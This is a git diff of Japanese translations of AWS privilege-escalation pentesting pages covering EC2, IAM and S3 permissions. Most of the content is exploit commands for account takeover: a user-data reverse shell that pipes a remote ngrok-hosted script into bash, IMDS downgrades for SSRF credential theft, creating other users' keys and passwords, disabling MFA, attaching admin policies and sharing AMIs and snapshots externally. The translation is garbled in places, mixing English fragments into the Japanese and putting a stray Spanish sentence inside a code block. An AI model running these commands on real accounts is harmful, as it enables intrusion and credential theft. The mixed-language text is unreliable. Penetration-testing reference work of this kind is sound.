`ec2:ModifyInstanceAttribute` -**`ec2:ModifyInstanceAttribute`** を持つ攻撃者はインスタンスの属性を変更できます。中でも **user data を変更する** ことで、インスタンスに **任意のデータを実行させる** ことが可能になり、これを利用して **rev shell を EC2 インスタンスに対して取得** することができます。 +**`ec2:ModifyInstanceAttribute`** を持つ攻撃者はインスタンスの属性を変更できます。 +その中で、**change the user data**ことができ、これによりインスタンスに**run arbitrary data.**を実行させることが可能になります。これは**rev shell to the EC2 instance**を取得するために利用できます。 -属性はインスタンスが停止している間にのみ **変更できる** ため、**`ec2:StopInstances`** と **`ec2:StartInstances`** の **権限** が必要である点に注意してください。 +属性はインスタンスが停止している間にのみ**変更可能**である点に注意してください。そのため、**権限**として**`ec2:StopInstances`**と**`ec2:StartInstances`**が必要です。 ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -158,11 +161,11 @@ aws ec2 modify-instance-attribute \ aws ec2 start-instances --instance-ids $INSTANCE_ID ``` -**潜在的影響:** 作成されたインスタンスにアタッチされた任意の EC2 IAM Role への直接的な privesc. +**潜在的な影響:** 作成されたインスタンスにアタッチされた任意の EC2 IAM Role への直接的な privesc. ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -権限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** を持つ攻撃者は、**new Launch Template version** を作成し、**user data** に **rev shell in** を仕込み、**any EC2 IAM Role on it** を設定してデフォルトバージョンを変更できます。そして、**latest** または **default version** を使用するよう **configured** された **Launch Templat**e を **using** している **any Autoscaler group** は、そのテンプレートを使ってインスタンスを **re-run the instances** し、rev shell を実行します。 +権限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** を持つ攻撃者は、**new Launch Template version** を作成し、**rev shell in** を **user data** に組み込み、**any EC2 IAM Role on it** を割り当ててデフォルトバージョンを変更できます。さらに、**any Autoscaler group** **using** that **Launch Templat**e は **configured** が **latest** または **default version** を使用するように設定されている場合、当該テンプレートを使ってインスタンスを**re-run the instances** し、rev shell を実行します。 ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -180,7 +183,7 @@ aws ec2 modify-launch-template \ ### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`) -権限 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** を持つ攻撃者は、**Launch Configuration を作成し**、**IAM Role** と **rev shell** を **user data** に入れ、次にその設定から **autoscaling group を作成して** rev shell が **IAM Role を乗っ取る** のを待つことができます。 +権限 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** を持つ攻撃者は、**Launch Configuration** を **IAM Role** と **rev shell** を **user data** に含めて作成し、その設定から **autoscaling group** を作成して rev shell が **IAM Role を奪取**するのを待つことができます。 ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -196,28 +199,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ --desired-capacity 1 \ --vpc-zone-identifier "subnet-e282f9b8" ``` -**Potential Impact:** 別の EC2 role への直接的な privesc。 +**潜在的影響:** 別の EC2 role への直接 privesc。 ### `!autoscaling` -権限セット **`ec2:CreateLaunchTemplate`** と **`autoscaling:CreateAutoScalingGroup`** だけでは IAM role への privesc を行うには不十分です。なぜなら Launch Configuration や Launch Template に指定された role をアタッチするには **`iam:PassRole` and `ec2:RunInstances` の権限が必要** だからです(これは既知の privesc です)。 +パーミッションの組み合わせ **`ec2:CreateLaunchTemplate`** と **`autoscaling:CreateAutoScalingGroup`** **だけでは IAM role への権限昇格はできません**。なぜなら、Launch Configuration や Launch Template に指定された role をアタッチするには **`iam:PassRole`and `ec2:RunInstances`** の権限が必要だからです(これは既知の privesc です)。 ### `ec2-instance-connect:SendSSHPublicKey` -権限 **`ec2-instance-connect:SendSSHPublicKey`** を持つ攻撃者はユーザーに ssh キーを追加し、それを使ってアクセスすることができます(インスタンスへの ssh アクセスがある場合)。または privesc を行うことも可能です。 +パーミッション **`ec2-instance-connect:SendSSHPublicKey`** を持つ攻撃者は、ユーザーに ssh キーを追加し、それを使ってインスタンスにアクセス(攻撃者がそのインスタンスへの ssh アクセスを持っている場合)したり、権限昇格に利用したりできます。 ```bash aws ec2-instance-connect send-ssh-public-key \ --instance-id "$INSTANCE_ID" \ --instance-os-user "ec2-user" \ --ssh-public-key "file://$PUBK_PATH" ``` -**潜在的影響:** 実行中のインスタンスにアタッチされた EC2 IAM roles への直接 privesc。 +**Potential Impact:** 実行中のインスタンスにアタッチされた EC2 IAM roles への直接的な privesc。 ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -権限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** を持つ攻撃者は、**シリアル接続に ssh key を追加**できます。シリアルが有効でない場合、攻撃者は **`ec2:EnableSerialConsoleAccess` を有効にする権限** が必要です。 +この権限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** を持つ攻撃者は、シリアル接続に **ssh キーを追加する** ことができます。シリアルが有効になっていない場合、攻撃者はそれを有効化するために **`ec2:EnableSerialConsoleAccess`** の権限が必要です。 -シリアルポートに接続するには、マシン内のユーザーの **ユーザー名とパスワードを知っている必要があります**。 +シリアルポートに接続するには、マシン内部のユーザーのユーザー名とパスワードを**知っている必要がある**。 ```bash aws ec2 enable-serial-console-access @@ -229,13 +232,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -この方法は、悪用するにはユーザー名とパスワードを知っている必要があるため、privesc にはあまり有用ではありません。 +この方法は、悪用するにはユーザー名とパスワードを知っている必要があるため、privescにはあまり有用ではありません。 -**Potential Impact:** (非常に立証困難)実行中のインスタンスにアタッチされている EC2 IAM roles への直接的な privesc。 +**Potential Impact:**(非常に立証困難)稼働中のインスタンスにアタッチされたEC2 IAM rolesへの直接的なprivesc。 ### `describe-launch-templates`,`describe-launch-template-versions` -launch templates はバージョニングを持つため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** の権限を持つ攻撃者は、これらを悪用して user data に含まれる資格情報などの機密情報を発見できる可能性があります。これを行うには、以下のスクリプトが利用可能な launch templates の全バージョンをループします: +launch templatesはバージョニングを持つため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** 権限を持つ攻撃者は、user dataに含まれる資格情報などの機密情報を発見するためにこれらを悪用できます。この目的を達成するため、以下のスクリプトは利用可能なlaunch templatesの全バージョンをループします: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do @@ -250,11 +253,11 @@ done ``` 上記のコマンドでは特定のパターン(`aws_|password|token|api`)を指定していますが、他の種類の機密情報を検索するために別の正規表現を使用できます。 -`aws_access_key_id` と `aws_secret_access_key` を見つけた場合、これらの認証情報を使って AWS に認証できます。 +仮に `aws_access_key_id` と `aws_secret_access_key` を見つけた場合、これらの認証情報を使って AWS に認証できます。 -**Potential Impact:** IAM user(s) への直接的な権限昇格。 +**潜在的影響:** IAM user(s) への直接的な権限昇格。 -## References +## 参考文献 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) @@ -262,14 +265,14 @@ done -### `ec2:ModifyInstanceMetadataOptions` (IMDS をダウングレードして SSRF による資格情報窃取を可能にする) +### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft) -被害者の EC2 インスタンスに対して `ec2:ModifyInstanceMetadataOptions` を呼び出す権限がある攻撃者は、IMDSv1 を有効化(`HttpTokens=optional`)し、`HttpPutResponseHopLimit` を増やすことで IMDS の保護を弱めることができます。これにより、インスタンス上で動作するアプリケーションからの一般的な SSRF/プロキシ経路を通じて instance metadata endpoint に到達できるようになります。攻撃者がそのようなアプリで SSRF を起こせれば、instance profile credentials を取得してそれを使って pivot できます。 +被害対象の EC2 インスタンス上で `ec2:ModifyInstanceMetadataOptions` を呼び出す能力を持つ攻撃者は、IMDS の保護を弱めるために IMDSv1 を有効化(`HttpTokens=optional`)し、`HttpPutResponseHopLimit` を増加させることができます。これにより、インスタンス上で動作するアプリケーションからの一般的な SSRF/プロキシ経路経由で instance metadata endpoint に到達できるようになります。攻撃者がそのようなアプリで SSRF を誘発できれば、instance profile の認証情報を取得して pivot することが可能です。 -- 必要な権限: ターゲットインスタンスに対する `ec2:ModifyInstanceMetadataOptions`(およびホストに対して SSRF に到達/トリガーする能力)。 -- 対象リソース: instance profile (IAM role) がアタッチされた稼働中の EC2 インスタンス。 +- Required permissions: 対象インスタンスでの `ec2:ModifyInstanceMetadataOptions` (およびホストに到達/SSRF を発生させる能力)。 +- Target resource: 実行中の EC2 インスタンスで、attached instance profile (IAM role) が割り当てられているもの。 -コマンド例: +Commands example: ```bash # 1) Check current metadata settings aws ec2 describe-instances --instance-id \ @@ -296,5 +299,28 @@ aws sts get-caller-identity aws ec2 modify-instance-metadata-options --instance-id \ --http-tokens required --http-put-response-hop-limit 1 ``` -潜在的な影響: SSRF を介した instance profile credentials の窃取により、EC2 ロールの権限を使った権限昇格および横移動が発生する可能性があります。 +潜在的影響: SSRF を介した instance profile credentials の窃取により、EC2 role の権限での privilege escalation および lateral movement を引き起こす可能性があります。 + +### `ec2:ModifyInstanceMetadataOptions` + +ec2:ModifyInstanceMetadataOptions permission を持つ攻撃者は、Instance Metadata Service (IMDS) の保護を弱めることができます — 例えば IMDSv1 を強制して HttpTokens を必須でなくしたり、HttpPutResponseHopLimit を増やしたりすることで — これにより一時的な認証情報の外部持ち出しが容易になります。最も関連性の高いリスクベクターは HttpPutResponseHopLimit の引き上げです: その hop limit (TTL) を増やすことで、169.254.169.254 エンドポイントが VM のネットワーク名前空間に厳密に制限されなくなり、他のプロセス/コンテナから到達可能になって認証情報の窃取を可能にします。 +```bash +aws ec2 modify-instance-metadata-options \ +--instance-id \ +--http-tokens optional \ +--http-endpoint enabled \ +--http-put-response-hop-limit 2 +``` +### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute` + +ec2:ModifyImageAttribute および ec2:ModifySnapshotAttribute の権限を持つ攻撃者は、AMIs や snapshots を他の AWS アカウントと共有したり(公開することさえ)でき、設定、資格情報、証明書、バックアップなどの機密データを含む可能性のあるイメージやボリュームを露出させる恐れがあります。AMI の launch permissions や snapshot の create-volume permissions を変更することで、攻撃者は第三者がそれらのリソースからインスタンスを起動したりディスクをマウントして内容にアクセスできるようにします。 + +To share an AMI with another account: +```bash +aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region +``` +EBS snapshot を別のアカウントと共有するには: +```bash +aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 12b84a9cd..1857beb7f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -4,7 +4,7 @@ ## IAM -IAM の詳細については次を参照してください: +IAMの詳細は次を参照してください: {{#ref}} ../../aws-services/aws-iam-enum.md @@ -12,98 +12,98 @@ IAM の詳細については次を参照してください: ### **`iam:CreatePolicyVersion`** -新しい IAM ポリシー バージョンを作成する権限を付与します。`--set-as-default` フラグを使用することで `iam:SetDefaultPolicyVersion` 権限を必要とせずにデフォルトに設定でき、これによりカスタム権限を定義できます。 +新しいIAMポリシーバージョンを作成する能力を付与します。`--set-as-default` フラグを使用することで、`iam:SetDefaultPolicyVersion` 権限を必要とせずにデフォルトに設定できます。これによりカスタム権限を定義できます。 **Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**影響:** 任意のリソースに対して任意のアクションを許可することで、直接的に権限を昇格させます。 +**影響:** 直接的に権限を昇格させ、任意のリソースに対する任意のアクションを許可します。 ### **`iam:SetDefaultPolicyVersion`** -IAMポリシーのデフォルトバージョンを別の既存バージョンに変更できる権限です。新しいバージョンがより多くの権限を持っている場合、権限が昇格する可能性があります。 +IAM policy のデフォルトバージョンを別の既存バージョンに変更できるようにします。新しいバージョンがより多くの権限を持っている場合、権限が昇格する可能性があります。 -**Bash Command:** +**Bash コマンド:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**影響:** より多くの権限を付与できるようにすることで、間接的に privilege escalation を引き起こす。 +**影響:** より多くの権限を有効にすることで間接的に privilege escalation を引き起こす。 ### **`iam:CreateAccessKey`** -他のユーザーの access key ID と secret access key を作成できるようにし、潜在的に privilege escalation を引き起こす可能性がある。 +他のユーザーの access key ID と secret access key を作成できるようにし、潜在的な privilege escalation を引き起こす可能性がある。 -**Exploit:** +**悪用:** ```bash aws iam create-access-key --user-name ``` -**影響:** 別のユーザーの拡張された権限を引き受けることで、直接的な権限昇格が可能になる。 +**Impact:** 他のユーザーの拡張権限を引き受けることで、直接的な privilege escalation が可能になります。 ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -ログインプロファイルの作成や更新(AWS コンソールログイン用のパスワード設定を含む)を許可し、これにより直接的な権限昇格を招く。 +ログインプロファイルの作成・更新(AWSコンソールログイン用のパスワード設定を含む)を許可し、直接的な privilege escalation を引き起こします。 **Exploit for Creation:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**更新用Exploit:** +**更新のための Exploit:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**影響:** 「any」ユーザーとしてログインすることで直接的な権限昇格が発生します。 +**Impact:** "any" ユーザーとしてログインすることで直接的に権限昇格が可能。 ### **`iam:UpdateAccessKey`** -無効化されたアクセスキーを有効にできるため、attacker がその無効化されたキーを所持している場合、不正アクセスにつながる可能性があります。 +無効化された access key を再び有効化できる。攻撃者がその無効化された access key を所持している場合、不正アクセスを招く可能性がある。 -**悪用:** +**Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**影響:** アクセスキーを再有効化することで直接的な権限昇格を引き起こします。 +**影響:** access keys を再有効化することによる直接的な権限昇格。 ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -特定のAWSサービス(例: CodeCommit、Amazon Keyspaces)向けの認証情報を生成またはリセットできるようにし、関連付けられたユーザーの権限を継承します。 +特定の AWS サービス(例: CodeCommit、Amazon Keyspaces)向けの認証情報を生成またはリセットすることを許可し、関連ユーザーの権限を継承します。 **Exploit for Creation:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` -**リセットのためのExploit:** +**リセット用Exploit:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Impact:** ユーザーのサービス権限内での直接的な権限昇格。 +**Impact:** ユーザーのサービス権限範囲内での直接的な権限昇格。 ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -ポリシーをユーザーまたはグループにアタッチできるようにし、アタッチされたポリシーの権限を継承することで直接的に権限を昇格させます。 +ユーザーやグループにポリシーをアタッチでき、アタッチされたポリシーの権限を継承して直接的に権限を昇格させることができます。 **Exploit for User:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**Group向けのExploit:** +**グループ向け Exploit:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Impact:** ポリシーが許可するあらゆる操作への直接的な権限昇格。 +**影響:** ポリシーが付与するあらゆる権限への直接的な privilege escalation。 ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -ロール、ユーザー、グループにポリシーをアタッチまたは設定することを許可し、追加の権限を付与することで直接的に権限昇格が可能になります。 +ロール、ユーザー、グループに対してポリシーをアタッチまたは設定することを許可し、追加の権限を付与することで直接的な privilege escalation を可能にします。 **Exploit for Role:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` -**インラインポリシーのExploit:** +**Inline PoliciesのExploit:** ```bash aws iam put-user-policy --user-name --policy-name "" \ --policy-document "file:///path/to/policy.json" @@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name "" aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json ``` -次のようなポリシーを使用できます: +次のようなポリシーを使用できます: ```json { "Version": "2012-10-17", @@ -127,28 +127,28 @@ aws iam put-role-policy --role-name --policy-name "" \ ] } ``` -**影響:** ポリシーを通じて権限を追加することで直接的な権限昇格を引き起こします。 +**影響:** ポリシーを通じて権限を追加することで発生する直接的な権限昇格。 ### **`iam:AddUserToGroup`** -自分自身をIAMグループに追加することを可能にし、グループの権限を継承することで権限が昇格します。 +自身を IAM グループに追加することを可能にし、グループの権限を継承することで権限を昇格させます。 **Exploit:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Impact:** グループの持つ権限レベルへの直接的な特権昇格。 +**影響:** グループの権限レベルへの直接的な権限昇格。 ### **`iam:UpdateAssumeRolePolicy`** -ロールの assume role policy ドキュメントを書き換えることを許可し、そのロールおよび関連する権限を引き受けられるようにします。 +ロールの assume role policy document を変更できる権限を与え、そのロールおよび関連する権限を引き受け(assume)可能にします。 -**Exploit:** +**悪用:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -ポリシーが次のようになっており、ユーザーがそのロールを引き受ける権限を持っている場合: +ポリシーが次のようになっており、ユーザーにそのロールを引き受ける権限を付与している場合: ```json { "Version": "2012-10-17", @@ -163,38 +163,38 @@ aws iam update-assume-role-policy --role-name \ ] } ``` -**Impact:** 任意のロールの権限を引き受けることで直接的な privilege escalation を引き起こす。 +**Impact:** 任意のロールの権限を引き受けることで直接的な権限昇格が可能になる。 ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -CodeCommitへの認証用にSSH公開鍵をアップロードでき、MFAデバイスを無効化できるため、間接的な privilege escalation につながる可能性がある。 +SSH公開鍵をアップロードして CodeCommit に対して認証を行ったり、MFAデバイスを無効化したりすることを許可し、結果として間接的な権限昇格につながる可能性があります。 **Exploit for SSH Key Upload:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**MFA無効化のためのExploit:** +**MFAを無効化するためのエクスプロイト:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` -**影響:** CodeCommit アクセスを有効にするか MFA 保護を無効にすることで、間接的な権限昇格を引き起こす可能性があります。 +**影響:** CodeCommit へのアクセスを有効化したり、MFA 保護を無効化したりすることで、間接的な特権昇格を引き起こす可能性があります。 ### **`iam:ResyncMFADevice`** -MFA デバイスの再同期を許可し、MFA 保護を操作することで間接的な権限昇格を引き起こす可能性があります。 +MFA デバイスの再同期を許可し、MFA 保護の操作により間接的な特権昇格を招く可能性があります。 -**Bash Command:** +**Bash コマンド:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impact:** MFAデバイスの追加や操作による間接的な権限昇格。 +**Impact:** MFA devices を追加または操作することでの間接的な権限昇格。 ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -これらの権限があれば、**SAML接続のXMLメタデータを変更できます**。その後、**SAML federation**を悪用して、それを信頼している任意の**role**で**login**することができます。 +これらの権限があれば、**SAML 接続の XML メタデータを変更する**ことができます。 その後、**SAML federation** を悪用して、これを信頼している任意の **role** で **login** することができます。 -ただし、これを行うと**正当なユーザーはloginできなくなる**点に注意してください。とはいえ、XMLを取得できれば自分のものに差し替えて**login**し、元に戻すように設定することができます。 +ただし、こうすると **正規のユーザーは login できなくなる** 点に注意してください。 しかし、XML を取得できるため、自分のものを差し替えて **login** し、以前の設定を元に戻すように再構成することができます。 ```bash # List SAMLs aws iam list-saml-providers @@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` > [!NOTE] -> TODO: SAML metadata を生成し、指定したロールでログインするツール +> TODO: SAML メタデータを生成し、指定した role でログインできるツール ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(これについては不確か)攻撃者がこれらの **permissions** を持っている場合、プロバイダーを信頼するすべてのロールにログインできるように、新しい **Thumbprint** を追加できる可能性がある。 +(未確認)もし attacker がこれらの **permissions** を持っていれば、provider を信頼するすべての roles にログインできるように新しい **Thumbprint** を追加できる可能性があります。 ```bash # List providers aws iam list-open-id-connect-providers @@ -226,9 +226,37 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -この権限により、攻撃者はユーザーの permissions boundary を更新できるようになり、通常は既存の権限で制限されている操作を実行可能にして権限を昇格させる可能性があります。 +この権限により、攻撃者はユーザーの permissions boundary を更新できるため、通常は既存の権限で制限されている操作を実行できるようになり、権限がエスカレートする可能性があります。 +```bash +aws iam put-user-permissions-boundary \ +--user-name \ +--permissions-boundary arn:aws:iam:::policy/ -## 参考文献 +Un ejemplo de una política que no aplica ninguna restricción es: + + +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "BoundaryAllowAll", +"Effect": "Allow", +"Action": "*", +"Resource": "*" +} +] +} +``` +### `iam:PutRolePermissionsBoundary` + +iam:PutRolePermissionsBoundary を持つ主体は、既存の role に permissions boundary を設定できます。 +この権限を持つ者が role の permissions boundary を変更するとリスクが生じます:操作を不適切に制限してサービスの停止を引き起こす可能性があるか、許容的な permissions boundary を付与した場合は role が実行できる操作が実質的に拡大し、権限昇格を招く可能性があります。 +```bash +aws iam put-role-permissions-boundary \ +--role-name \ +--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy +``` +## 参考資料 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md index 1a9efbd87..357d702b4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md @@ -6,9 +6,9 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -興味深いバケットに対してこれらの権限を持つ攻撃者は、リソースを乗っ取り、権限を昇格させることができる可能性があります。 +これらの permissions を持つ attacker が対象の buckets に対して hijack resources や escalate privileges を行える可能性があります。 -例えば、"cf-templates-nohnwfax6a6i-us-east-1" という **cloudformation bucket に対する権限** を持つ攻撃者は、デプロイメントを乗っ取ることができます。アクセスは以下のポリシーで付与されることがあります: +例えば、**permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" を持つ attacker は deployment を hijack できます。アクセスは以下のポリシーで付与できます: ```json { "Version": "2012-10-17", @@ -34,28 +34,29 @@ ] } ``` -そしてハイジャックが可能なのは、テンプレートが bucket にアップロードされた時点から**テンプレートがデプロイされる時点までの短い時間的猶予**が存在するためです。攻撃者は自分のアカウントに**lambda function**を作成し、**bucket notification が送信されたときに trigger**して、**bucket**の**content**を**hijacks**するかもしれません。 +そしてこのハイジャックが可能なのは、テンプレートがバケットにアップロードされてからテンプレートがデプロイされるまでに**ごく短い時間ウィンドウが存在する**ためです。攻撃者は自分のアカウントに**lambda function**を作成し、**bucket notification**が送信されたときにトリガーして、その**bucket**の**content**を**hijacks**するだけかもしれません。 ![](<../../../images/image (174).png>) -Pacu モジュール [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) はこの攻撃を自動化するために使用できます。\ +The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\ 詳細はオリジナルの調査を参照してください: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -これは S3 に対して**オブジェクトを取得およびアップロードする**ための権限です。AWS 内(および外部)のいくつかのサービスは S3 ストレージを使って **config files** を保存します。\ -攻撃者がそれらに対して **read access** を持っている場合、**sensitive information** を見つける可能性があります。\ -攻撃者が **write access** を持っている場合、データを改ざんしてサービスを悪用し、**escalate privileges** を試みることができます。以下はその例です: +これらはS3からオブジェクトを取得およびアップロードするための権限です。AWS内(および外部)で動作するいくつかのサービスは、**config files**を保存するためにS3ストレージを利用します。\ +これらに対して**読み取り権限**を持つ攻撃者は、そこに**機密情報**を見つける可能性があります。\ +これらに対して**書き込み権限**を持つ攻撃者は、データを改ざんしてサービスを悪用し、権限昇格を試みることができます。\ +いくつかの例を示します: -- EC2 インスタンスが **user data in a S3 bucket** を保存している場合、攻撃者はそれを改変して **execute arbitrary code inside the EC2 instance** させることができます。 +- EC2インスタンスが**user data in a S3 bucket**を保存している場合、攻撃者はそれを改変して**execute arbitrary code inside the EC2 instance**させることができます。 ### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file -terraform の state ファイルがクラウドプロバイダの blob ストレージ(例: AWS S3)に保存されていることは非常に一般的です。state ファイルの拡張子は `.tfstate` で、bucket 名から terraform state ファイルを含んでいると分かることも多いです。通常、各 AWS アカウントはアカウントの状態を示す state ファイルを保存するための bucket を1つ持っています。現実のアカウントではほとんどの場合、開発者は `s3:*` を持ち、場合によってはビジネスユーザでも `s3:Put*` を持っていることがあります。 +[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html)のstateファイルがクラウドプロバイダのblobストレージ(例:AWS S3)に保存されることは非常に一般的です。stateファイルのサフィックスは`.tfstate`であり、バケット名からterraform stateファイルを格納していることが分かることも多いです。通常、各AWSアカウントにはアカウントの状態を示すstateファイルを保存するためのそのようなバケットが1つあります。現実のアカウントでは、ほとんどの場合すべての開発者が`s3:*`を持っていたり、ビジネスユーザが`s3:Put*`を持っていたりします。 -したがって、これらのファイルに対する権限を持っている場合、pipeline 内で terraform の権限(多くの場合 `AdministratorAccess`)で RCE を獲得できる攻撃ベクターが存在し、それによってクラウドアカウントの管理者になれることが多いです。また、terraform に正当なリソースを削除させることで、denial of service attack を引き起こすことも可能です。 +したがって、これらのファイルに対する権限を持っている場合、pipeline内で`terraform`の権限(多くの場合`AdministratorAccess`)でRCEを得られる攻撃ベクトルがあります。これによりクラウドアカウントの管理者になれる場合が多いです。また、そのベクトルを使って`terraform`に正当なリソースを削除させることでDoS攻撃を行うこともできます。 -直接使えるエクスプロイトコードについては、*Terraform Security* ページの *Abusing Terraform State Files* セクションの説明を参照してください: +直接使えるエクスプロイトコードについては、*Terraform Security*ページの*Abusing Terraform State Files*セクションの説明に従ってください: {{#ref}} ../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files @@ -63,7 +64,7 @@ terraform の state ファイルがクラウドプロバイダの blob ストレ ### `s3:PutBucketPolicy` -攻撃者は **同一アカウントからの操作である必要があります**。そうでない場合は `The specified method is not allowed` エラーが発生します。この権限を持っていると、該当バケットに対してさらに多くの権限を自身に付与でき、読み取り、書き込み、変更、削除、公開などを行えるようになります。 +攻撃者が**同じアカウントからの**ものである必要があり、そうでない場合はエラー `The specified method is not allowed will trigger` が発生しますが、この権限を持っているとバケットに対して自身にさらに多くの権限を付与できるようになります。これによりバケットの読み取り、書き込み、変更、削除、公開などが可能になります。 ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -121,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -149,7 +150,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -attackerはこれらの権限を悪用して、バケット内の特定のオブジェクトに対するアクセスを拡大する可能性がある。 +攻撃者はこれらの権限を悪用して、バケット内の特定のオブジェクトに対するアクセス権を拡大できる。 ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -176,9 +177,29 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -これらの権限を持つ攻撃者は、特定の object version に対して Acl を設定できると想定されます。 +これらの権限を持つ攻撃者は、特定のオブジェクトバージョンに対してAclを設定できると想定されます。 ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` +### `s3:PutBucketCORS` + +s3:PutBucketCORS 権限を持つ攻撃者は、バケットの CORS (Cross-Origin Resource Sharing) 設定を変更できます。これにより、どのウェブドメインがエンドポイントにアクセスできるかが制御されます。もし寛容なポリシーを設定すれば、任意のウェブサイトがバケットに対して直接リクエストを行い、ブラウザ上でレスポンスを読み取ることが可能になります。 + 